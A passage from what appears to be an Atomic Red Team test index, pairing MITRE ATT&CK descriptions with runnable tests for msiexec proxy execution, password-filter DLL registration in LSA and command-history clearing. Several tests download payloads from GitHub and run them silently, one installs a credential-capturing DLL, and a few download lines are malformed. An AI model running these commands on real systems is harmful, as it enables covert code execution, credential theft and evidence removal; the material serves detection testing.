      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Network Traffic: Network Connection Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      - Application control
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1218.007
    atomic_tests:
    - name: Msiexec.exe - Execute Local MSI file with embedded JScript
      auto_generated_guid: a059b6c4-e7d6-4b2e-bcd7-9b2b33191a04
      description: 'Executes an MSI containing embedded JScript code using msiexec.exe

        '
      supported_platforms:
      - windows
      input_arguments:
        msi_payload:
          description: MSI file to execute
          type: path
          default: PathToAtomicsFolder\T1218.007\bin\T1218.007_JScript.msi
        msi_exe:
          description: MSIExec File Path
          type: path
          default: c:\windows\system32\msiexec.exe
        action:
          description: 'Specifies the MSI action to perform: i (install), a (admin),
            j (advertise). The included MSI is designed to support all three action
            types.

            '
          type: string
          default: i
      dependency_executor_name: powershell
      dependencies:
      - description: 'The MSI file must exist on disk at specified location (#{msi_payload})

          '
        prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi" -OutFile "#{msi_payload}"
      executor:
        command: '#{msi_exe} /q /#{action} "#{msi_payload}"

          '
        name: command_prompt
    - name: Msiexec.exe - Execute Local MSI file with embedded VBScript
      auto_generated_guid: 8d73c7b0-c2b1-4ac1-881a-4aa644f76064
      description: 'Executes an MSI containing embedded VBScript code using msiexec.exe

        '
      supported_platforms:
      - windows
      input_arguments:
        msi_payload:
          description: MSI file to execute
          type: path
          default: PathToAtomicsFolder\T1218.007\bin\T1218.007_VBScript.msi
        msi_exe:
          description: MSIExec File Path
          type: path
          default: c:\windows\system32\msiexec.exe
        action:
          description: 'Specifies the MSI action to perform: i (install), a (admin),
            j (advertise). The included MSI is designed to support all three action
            types.

            '
          type: string
          default: i
      dependency_executor_name: powershell
      dependencies:
      - description: 'The MSI file must exist on disk at specified location (#{msi_payload})

          '
        prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi" -OutFile "#{msi_payload}"
      executor:
        command: '#{msi_exe} /q /#{action} "#{msi_payload}"

          '
        name: command_prompt
    - name: Msiexec.exe - Execute Local MSI file with an embedded DLL
      auto_generated_guid: 628fa796-76c5-44c3-93aa-b9d8214fd568
      description: 'Executes an MSI containing an embedded DLL using msiexec.exe

        '
      supported_platforms:
      - windows
      input_arguments:
        msi_payload:
          description: MSI file to execute
          type: path
          default: PathToAtomicsFolder\T1218.007\bin\T1218.007_DLL.msi
        msi_exe:
          description: MSIExec File Path
          type: path
          default: c:\windows\system32\msiexec.exe
        action:
          description: 'Specifies the MSI action to perform: i (install), a (admin),
            j (advertise). The included MSI is designed to support all three action
            types.

            '
          type: string
          default: i
      dependency_executor_name: powershell
      dependencies:
      - description: 'The MSI file must exist on disk at specified location (#{msi_payload})

          '
        prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi" -OutFile "#{msi_payload}"
      executor:
        command: '#{msi_exe} /q /#{action} "#{msi_payload}"

          '
        name: command_prompt
    - name: Msiexec.exe - Execute Local MSI file with an embedded EXE
      auto_generated_guid: ed3fa08a-ca18-4009-973e-03d13014d0e8
      description: 'Executes an MSI containing an embedded EXE using msiexec.exe

        '
      supported_platforms:
      - windows
      input_arguments:
        msi_payload:
          description: MSI file to execute
          type: path
          default: PathToAtomicsFolder\T1218.007\bin\T1218.007_EXE.msi
        msi_exe:
          description: MSIExec File Path
          type: path
          default: c:\windows\system32\msiexec.exe
        action:
          description: 'Specifies the MSI action to perform: i (install), a (admin),
            j (advertise). The included MSI is designed to support all three action
            types.

            '
          type: string
          default: i
      dependency_executor_name: powershell
      dependencies:
      - description: 'The MSI file must exist on disk at specified location (#{msi_payload})

          '
        prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi" -OutFile "#{msi_payload}"
      executor:
        command: '#{msi_exe} /q /#{action} "#{msi_payload}"

          '
        name: command_prompt
    - name: WMI Win32_Product Class - Execute Local MSI file with embedded JScript
      auto_generated_guid: 882082f0-27c6-4eec-a43c-9aa80bccdb30
      description: 'Executes an MSI containing embedded JScript code using the WMI
        Win32_Product class

        '
      supported_platforms:
      - windows
      input_arguments:
        msi_payload:
          description: MSI file to execute
          type: path
          default: PathToAtomicsFolder\T1218.007\bin\T1218.007_JScript.msi
        action:
          description: 'Specifies the MSI action to perform: Install, Admin, Advertise.
            The included MSI is designed to support all three action types.

            '
          type: string
          default: Install
      dependency_executor_name: powershell
      dependencies:
      - description: 'The MSI file must exist on disk at specified location (#{msi_payload})

          '
        prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi" -OutFile "#{msi_payload}"
      executor:
        command: 'Invoke-CimMethod -ClassName Win32_Product -MethodName #{action}
          -Arguments @{ PackageLocation = ''#{msi_payload}'' }

          '
        name: powershell
    - name: WMI Win32_Product Class - Execute Local MSI file with embedded VBScript
      auto_generated_guid: cf470d9a-58e7-43e5-b0d2-805dffc05576
      description: 'Executes an MSI containing embedded VBScript code using the WMI
        Win32_Product class

        '
      supported_platforms:
      - windows
      input_arguments:
        msi_payload:
          description: MSI file to execute
          type: path
          default: PathToAtomicsFolder\T1218.007\bin\T1218.007_VBScript.msi
        action:
          description: 'Specifies the MSI action to perform: Install, Admin, Advertise.
            The included MSI is designed to support all three action types.

            '
          type: string
          default: Install
      dependency_executor_name: powershell
      dependencies:
      - description: 'The MSI file must exist on disk at specified location (#{msi_payload})

          '
        prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi" -OutFile "#{msi_payload}"
      executor:
        command: 'Invoke-CimMethod -ClassName Win32_Product -MethodName #{action}
          -Arguments @{ PackageLocation = ''#{msi_payload}'' }

          '
        name: powershell
    - name: WMI Win32_Product Class - Execute Local MSI file with an embedded DLL
      auto_generated_guid: 32eb3861-30da-4993-897a-42737152f5f8
      description: 'Executes an MSI containing an embedded DLL using the WMI Win32_Product
        class

        '
      supported_platforms:
      - windows
      input_arguments:
        msi_payload:
          description: MSI file to execute
          type: path
          default: PathToAtomicsFolder\T1218.007\bin\T1218.007_DLL.msi
        action:
          description: 'Specifies the MSI action to perform: Install, Admin, Advertise.
            The included MSI is designed to support all three action types.

            '
          type: string
          default: Install
      dependency_executor_name: powershell
      dependencies:
      - description: 'The MSI file must exist on disk at specified location (#{msi_payload})

          '
        prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_DLL.msi" -OutFile "#{msi_payload}"
      executor:
        command: 'Invoke-CimMethod -ClassName Win32_Product -MethodName #{action}
          -Arguments @{ PackageLocation = ''#{msi_payload}'' }

          '
        name: powershell
    - name: WMI Win32_Product Class - Execute Local MSI file with an embedded EXE
      auto_generated_guid: 55080eb0-49ae-4f55-a440-4167b7974f79
      description: 'Executes an MSI containing an embedded EXE using the WMI Win32_Product
        class

        '
      supported_platforms:
      - windows
      input_arguments:
        msi_payload:
          description: MSI file to execute
          type: path
          default: PathToAtomicsFolder\T1218.007\bin\T1218.007_EXE.msi
        action:
          description: 'Specifies the MSI action to perform: Install, Admin, Advertise.
            The included MSI is designed to support all three action types.

            '
          type: string
          default: Install
      dependency_executor_name: powershell
      dependencies:
      - description: 'The MSI file must exist on disk at specified location (#{msi_payload})

          '
        prereq_command: 'if (Test-Path "#{msi_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{msi_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_EXE.msi" -OutFile "#{msi_payload}"
      executor:
        command: 'Invoke-CimMethod -ClassName Win32_Product -MethodName #{action}
          -Arguments @{ PackageLocation = ''#{msi_payload}'' }

          '
        name: powershell
    - name: Msiexec.exe - Execute the DllRegisterServer function of a DLL
      auto_generated_guid: 0106ffa5-fab6-4c7d-82e3-e6b8867d5e5d
      description: 'Loads a DLL into msiexec.exe and calls its DllRegisterServer function.
        Note: the DLL included in the "bin" folder is only built for 64-bit, so this
        won''t work on a 32-bit OS.

        '
      supported_platforms:
      - windows
      input_arguments:
        dll_payload:
          description: DLL to execute that has an implemented DllRegisterServer function
          type: path
          default: PathToAtomicsFolder\T1218.007\bin\MSIRunner.dll
        msi_exe:
          description: MSIExec File Path
          type: path
          default: c:\windows\system32\msiexec.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'The DLL must exist on disk at specified location (#{dll_payload})

          '
        prereq_command: 'if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile "#{dll_payload}"
      executor:
        command: '#{msi_exe} /y "#{dll_payload}"

          '
        name: command_prompt
    - name: Msiexec.exe - Execute the DllUnregisterServer function of a DLL
      auto_generated_guid: ab09ec85-4955-4f9c-b8e0-6851baf4d47f
      description: 'Loads a DLL into msiexec.exe and calls its DllUnregisterServer
        function. Note: the DLL included in the "bin" folder is only built for 64-bit,
        so this won''t work on a 32-bit OS.

        '
      supported_platforms:
      - windows
      input_arguments:
        dll_payload:
          description: DLL to execute that has an implemented DllUnregisterServer
            function
          type: path
          default: PathToAtomicsFolder\T1218.007\bin\MSIRunner.dll
        msi_exe:
          description: MSIExec File Path
          type: path
          default: c:\windows\system32\msiexec.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'The DLL must exist on disk at specified location (#{dll_payload})

          '
        prereq_command: 'if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/MSIRunner.dll -OutFile "#{dll_payload}"
      executor:
        command: '#{msi_exe} /z "#{dll_payload}"

          '
        name: command_prompt
    - name: Msiexec.exe - Execute Remote MSI file
      auto_generated_guid: 44a4bedf-ffe3-452e-bee4-6925ab125662
      description: 'Execute arbitrary MSI file retrieved remotely. Less commonly seen
        in application installation, commonly seen in malware execution. The MSI executes
        a built-in JScript payload that launches powershell.exe.

        '
      supported_platforms:
      - windows
      input_arguments:
        msi_payload:
          description: MSI file to execute
          type: string
          default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi
        msi_exe:
          description: MSIExec File Path
          type: path
          default: c:\windows\system32\msiexec.exe
      executor:
        command: '#{msi_exe} /q /i "#{msi_payload}"

          '
        name: command_prompt
  T1556.002:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Vincent Le Toux
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42
      type: attack-pattern
      created: '2020-02-11T19:05:45.829Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1556.002
        url: https://attack.mitre.org/techniques/T1556/002
      - url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
        description: Fuller, R. (2013, September 11). Stealing passwords every time
          they change. Retrieved November 21, 2017.
        source_name: Carnal Ownage Password Filters Sept 2013
      - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
        description: Bialek, J. (2013, September 15). Intercepting Password Changes
          With Function Hooking. Retrieved November 21, 2017.
        source_name: Clymb3r Function Hook Passwords Sept 2013
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Modify Authentication Process: Password Filter DLL'
      description: "Adversaries may register malicious password filter dynamic link
        libraries (DLLs) into the authentication process to acquire user credentials
        as they are validated. \n\nWindows password filters are password policy enforcement
        mechanisms for both domain and local accounts. Filters are implemented as
        DLLs containing a method to validate potential passwords against password
        policies. Filter DLLs can be positioned on local computers for local accounts
        and/or domain controllers for domain accounts. Before registering new passwords
        in the Security Accounts Manager (SAM), the Local Security Authority (LSA)
        requests validation from each registered filter. Any potential changes cannot
        take effect until every registered filter acknowledges validation. \n\nAdversaries
        can register malicious password filters to harvest credentials from local
        computers and/or entire domains. To perform proper validation, filters must
        receive plain-text credentials from the LSA. A malicious password filter would
        receive these plain-text credentials every time a password request is made.(Citation:
        Carnal Ownage Password Filters Sept 2013)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>) and correlate then investigate the DLL files these files reference.

        Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'Module: Module Load'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1556.002
    atomic_tests:
    - name: Install and Register Password Filter DLL
      auto_generated_guid: a7961770-beb5-4134-9674-83d7e1fa865c
      description: "Uses PowerShell to install and register a password filter DLL.
        Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource
        is in src folder. \nThis does require a reboot to see the filter loaded into
        lsass.exe. \nIt does require Administrative privileges to import the clean
        registry values back into LSA, it is possible you may have to manually do
        this after for cleanup.\n"
      supported_platforms:
      - windows
      input_arguments:
        dll_path:
          description: Path to DLL to be installed and registered
          type: path
          default: PathToAtomicsFolder\T1556.002\bin
        dll_name:
          description: Name of the Password Filter
          type: string
          default: AtomicRedTeamPWFilter.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'AtomicRedTeamPWFilter.dll must exist on disk at specified location
          (#{dll_path}\#{dll_name})

          '
        prereq_command: 'if (Test-Path "#{dll_path}\#{dll_name}") {exit 0} else {exit
          1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll" -OutFile "#{dll_path}\#{dll_name}"
      executor:
        command: |
          reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg"
          $passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename
          $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
          $notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
          $notificationPackagesValues += $passwordFilterName
          Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues
        cleanup_command: |
          reg.exe import "PathToAtomicsFolder\T1556.002\lsa_backup.reg"
          remove-item C:\Windows\System32\#{dll_name}
        name: powershell
        elevation_required: true
    - name: Install Additional Authentication Packages
      auto_generated_guid: 91580da6-bc6e-431b-8b88-ac77180005f2
      description: "lsass.exe loads all DLLs specified by the Authentication Packages
        REG_MULTI_SZ value.\nUses PowerShell to install and register a password filter
        DLL. Requires a reboot and administrative privileges.\nThe binary in bin is
        https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource
        is in src folder. \nThis does require a reboot to see the filter loaded into
        lsass.exe. \nIt does require Administrative privileges to import the clean
        registry values back into LSA, it is possible you may have to manually do
        this after for cleanup.\n"
      supported_platforms:
      - windows
      input_arguments:
        dll_path:
          description: Path to DLL to be installed and registered as additional authentication
            package
          type: path
          default: PathToAtomicsFolder\T1556.002\bin
        dll_name:
          description: Name of the Password Filter
          type: string
          default: AtomicRedTeamPWFilter.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'AtomicRedTeamPWFilter.dll must exist on disk at specified location
          (#{dll_path}\#{dll_name})

          '
        prereq_command: 'if (Test-Path "#{dll_path}\#{dll_name}") {exit 0} else {exit
          1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll" -OutFile "#{dll_path}\#{dll_name}"
      executor:
        command: |
          reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg"
          $passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename
          $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
          $AuthenticationPackagesValues = $lsaKey.GetValue("Authentication Packages")
          $AuthenticationPackagesValues += $passwordFilterName
          Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Authentication Packages" $AuthenticationPackagesValues
        cleanup_command: |
          reg.exe import "PathToAtomicsFolder\T1556.002\lsa_backup.reg"
          remove-item C:\Windows\System32\#{dll_name}
        name: powershell
        elevation_required: true
  T1070.007:
    technique:
      modified: '2023-09-08T18:05:28.311Z'
      name: Clear Network Connection History and Configurations
      description: |-
        Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.

        Network connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):

        * <code>HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers</code>

        Windows may also store information about recent RDP connections in files such as <code>C:\Users\\%username%\Documents\Default.rdp</code> and `C:\Users\%username%\AppData\Local\Microsoft\Terminal
        Server Client\Cache\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)

        Malicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - CrowdStrike Falcon OverWatch
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Firewall: Firewall Rule Modification'
      - 'File: File Modification'
      type: attack-pattern
      id: attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc
      created: '2022-06-15T18:00:04.219Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1070/007
        external_id: T1070.007
      - source_name: FreeDesktop Journal
        description: freedesktop.org. (n.d.). systemd-journald.service. Retrieved
          June 15, 2022.
        url: https://www.freedesktop.org/software/systemd/man/systemd-journald.service.html
      - source_name: Microsoft RDP Removal
        description: Microsoft. (2021, September 24). How to remove entries from the
          Remote Desktop Connection Computer box. Retrieved June 15, 2022.
        url: https://docs.microsoft.com/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer
      - source_name: Moran RDPieces
        description: Moran, B. (2020, November 18). Putting Together the RDPieces.
          Retrieved October 17, 2022.
        url: https://www.osdfcon.org/presentations/2020/Brian-Moran_Putting-Together-the-RDPieces.pdf
      - source_name: Apple Culprit Access
        description: rjben. (2012, May 30). How do you find the culprit when unauthorized
          access to a computer is a problem?. Retrieved August 3, 2022.
        url: https://discussions.apple.com/thread/3991574
      - source_name: Apple Unified Log Analysis Remote Login and Screen Sharing
        description: 'Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs:
          Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved
          August 19, 2021.'
        url: https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1600.001:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8
      type: attack-pattern
      created: '2020-10-19T19:03:48.310Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1600.001
        url: https://attack.mitre.org/techniques/T1600/001
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: Reduce Key Space
      description: |-
        Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)

        Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.

        Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: There is no documented method for defenders to directly identify
        behaviors that reduce encryption key space. Detection efforts may be focused
        on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601)
        and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some
        detection methods require vendor support to aid in investigation.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1070.003:
    technique:
      modified: '2024-02-14T20:07:44.756Z'
      name: 'Indicator Removal on Host: Clear Command History'
      description: "In addition to clearing system logs, an adversary may clear the
        command history of a compromised account to conceal the actions undertaken
        during an intrusion. Various command interpreters keep track of the commands
        users type in their terminal so that users can retrace what they've done.\n\nOn
        Linux and macOS, these command histories can be accessed in a few different
        ways. While logged in, this command history is tracked in a file pointed to
        by the environment variable <code>HISTFILE</code>. When a user logs off a
        system, this information is flushed to a file in the user's home directory
        called <code>~/.bash_history</code>. The benefit of this is that it allows
        users to go back to commands they've used before in different sessions.\n\nAdversaries
        may delete their commands from these logs by manually clearing the history
        (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.
        \ \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
        on network devices to clear command history data (<code>clear logging</code>
        and/or <code>clear history</code>).(Citation: US-CERT-TA18-106A)\n\nOn Windows
        hosts, PowerShell has two different command history providers: the built-in
        history and the command history managed by the <code>PSReadLine</code> module.
        The built-in history only tracks the commands used in the current session.
        This command history is not available to other sessions and is deleted when
        the session ends.\n\nThe <code>PSReadLine</code> command history tracks the
        commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code>
        by default). This history file is available to all sessions and contains all
        past history since the file is not deleted when the session ends.(Citation:
        Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell
        command <code>Clear-History</code> to flush the entire command history from
        a current PowerShell session. This, however, will not delete/flush the <code>ConsoleHost_history.txt</code>
        file. Adversaries may also delete the <code>ConsoleHost_history.txt</code>
        file or edit its contents to hide PowerShell commands they have run.(Citation:
        Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History
        Forensics)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Vikas Singh, Sophos
      - Emile Kenning, Sophos
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: |-
        User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the removal/clearing of the <code>~/.bash_history</code> file can be an indicator of suspicious activity.

        Monitor for suspicious modifications or deletion of <code>ConsoleHost_history.txt</code> and use of the <code>Clear-History</code> command.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Deletion'
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'User Account: User Account Authentication'
      x_mitre_defense_bypassed:
      - Host forensic analysis
      - Log analysis
      type: attack-pattern
      id: attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a
      created: '2020-01-31T12:32:08.228Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1070/003
        external_id: T1070.003
      - source_name: Sophos PowerShell command audit
        description: jak. (2020, June 27). Live Discover - PowerShell command audit.
          Retrieved August 21, 2020.
        url: https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit
      - source_name: Microsoft PowerShell Command History
        description: Microsoft. (2020, May 13). About History. Retrieved September
          4, 2020.
        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7
      - source_name: US-CERT-TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
      - source_name: Sophos PowerShell Command History Forensics
        description: Vikas, S. (2020, August 26). PowerShell Command History Forensics.
          Retrieved September 4, 2020.
        url: https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics
